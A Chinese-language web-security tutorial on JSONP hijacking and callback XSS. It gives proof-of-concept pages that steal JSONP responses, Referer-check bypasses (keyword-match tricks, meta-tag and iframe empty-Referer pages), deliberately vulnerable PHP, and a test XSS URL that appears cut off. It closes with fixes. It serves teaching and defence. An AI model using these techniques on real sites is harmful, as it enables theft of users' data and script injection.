0x01 关于 JSONP
JSONP 全称是 JSON with Padding ,基于 JSON 格式的为解决跨域请求资源而产生的解决方案。
由于浏览器同源策略的限制,浏览器只允许XmlHttpRequest请求当前相同的(域名、协议、端口)的资源,而对请求script资源没有限制。
原理: 客户端通过请求script标签发出跨域请求,然后服务端输出JSON数据并且执行回调函数,这种跨域的数据输出方式称为JSONP。
简单原理说明: 使用了 <script></script>
元素标签远程调用JSON文件来实现数据传递。
0x02 可造成的危害
- JSONP 数据劫持
- callback 无过滤导致的xss
0x03 JSONP 劫持示例
# 服务器请求地址: http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback
<?php
header('Content-type: application/json');
$callback = htmlspecialchars($_REQUEST['callback']);
if (!isset($callback) || empty($callback)) {
$callback = 'callback';
}
$data = array('username'=>'P喵呜-phpoop','email' => '3303003493@qq.com');
$json = json_encode($data);
echo $callback."(".$json.")";
# 客户端请求地址: http://127.0.0.1/jsonp/jsonp_test.html
<!DOCTYPE html>
<html lang='en'>
<head>
<title>jsonp</title>
</head>
<body>
jsonp劫持测试
</body>
<script>
function jsonCallback(data){
alert(JSON.stringify(data));
}
</script>
<script src="http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback"></script>
</html>
成功劫持到用户数据
0x04 JSONP 劫持绕过方法
0x04.1 Referer 过滤(正则)不严谨
例如: http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback 输出数据时,验证了 Referer
但是可惜验证的时候只验证了 Referer 中是否存在 aphp.test 这个关键词
那么攻击者可以构造url:http://127.0.0.1/aphp.test.html 或是 http://127.0.0.1/attack.htm?aphp.test
构造这样的url来发起攻击实现绕过 Referer 防御
0x04.2 空 Referer 绕过
有时开发者过滤时会允许 Referer 来源为空,因为一般情况下浏览器直接访问某个 URL 是不带 Referer 的,所以我们有时可利用这个特点来进行绕过
# 利用 <meta> 标签实现空 Referer
<!DOCTYPE html>
<html lang='en'>
<head>
<meta name="referrer" content="never" charset="utf-8">
<title>jsonp 不带Referer</title>
</head>
<body>
jsonp 不带Referer 劫持测试
</body>
<script>
function jsonCallback(data){
alert(JSON.stringify(data));
}
</script>
<script src="http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback"></script>
</html>
# 利用 <iframe> 标签调用 javscript 伪协议来实现空 Referer 调用 JSON 文件
<!DOCTYPE html>
<html lang='en'>
<head>
<title>jsonp 不带Referer</title>
</head>
<body>
jsonp 不带Referer 劫持测试
</body>
<iframe src="javascript:'<script>function jsonCallback(data){alert(JSON.stringify(data));}</script> <script src=http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback></script>'" frameborder="0"></iframe>
</html>
0x05 Callback 可定义导致的安全问题
一般开发为了前端可以方便调用,一般输出的Callback都是可自定义的,这就导致了,如果过滤不严格,或是 Content-Type 没设置好就可能导致xss
注意: 严格来说如果输出的数据也是攻击者可控,那么也是可能造成危害的,只是本文强调了 Callback 这个输出点
如下测试一段代码
<?php
$callback = $_REQUEST['callback'];
if (!isset($callback) || empty($callback)) {
$callback = 'callback';
}
$data = array('username'=>'P喵呜-phpoop','email' => '3303003493@qq.com');
$json = json_encode($data);
echo $callback."(".$json.")";
打开url: http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback;%3C/script%3E)
0x06 JSONP 修复方法
- 验证 HTTP Referer 头信息
- 在请求中添加 csrfToken 并在后端进行验证
- 按照 JSON 格式标准输出, Content-Type 设置为(Content-Type : application/json; charset=utf-8)
- 严格过滤 callback 函数名及 JSON 里数据的输出(防止xss)